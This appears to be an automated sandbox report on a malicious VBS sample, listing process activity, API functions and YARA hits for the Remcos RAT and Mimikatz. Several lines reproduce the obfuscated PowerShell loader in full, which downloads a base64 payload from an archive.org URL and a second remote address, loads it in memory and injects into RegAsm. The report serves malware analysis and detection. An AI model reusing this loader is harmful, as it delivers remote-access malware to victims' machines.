yaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Abnormal high CPU Usage
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process Stats: CPU usage > 49%
Contains functionality to shutdown / reboot the system
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress, 11_2_004167EF
Detected potential crypto function
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043706A 11_2_0043706A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00414005 11_2_00414005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043E11C 11_2_0043E11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004541D9 11_2_004541D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004381E8 11_2_004381E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041F18B 11_2_0041F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00446270 11_2_00446270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043E34B 11_2_0043E34B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004533AB 11_2_004533AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0042742E 11_2_0042742E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00437566 11_2_00437566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043E5A8 11_2_0043E5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004387F0 11_2_004387F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043797E 11_2_0043797E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_004339D7 11_2_004339D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0044DA49 11_2_0044DA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00427AD7 11_2_00427AD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041DBF3 11_2_0041DBF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00427C40 11_2_00427C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00437DB3 11_2_00437DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00435EEB 11_2_00435EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0043DEED 11_2_0043DEED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00426E9F 11_2_00426E9F
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: String function: 00434801 appears 41 times
Java / VBScript file with very long strings (likely obfuscated code)
Source: 5fKvwnCAeC.vbs Initial sample: Strings found which are bigger than 50
Yara signature match
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: classification engine Classification label: mal100.rans.troj.spyw.expl.evad.winVBS@8/6@1/3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError, 11_2_0041798D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle, 11_2_0040F4AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource, 11_2_0041B539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 11_2_0041AADB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutant created: \Sessions\1\BaseNamedObjects\Rmc-O0U3JA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sedqkmkm.5pl.ps1 Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5fKvwnCAeC.vbs"
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 5fKvwnCAeC.vbs Virustotal: Detection: 9%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5fKvwnCAeC.vbs"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
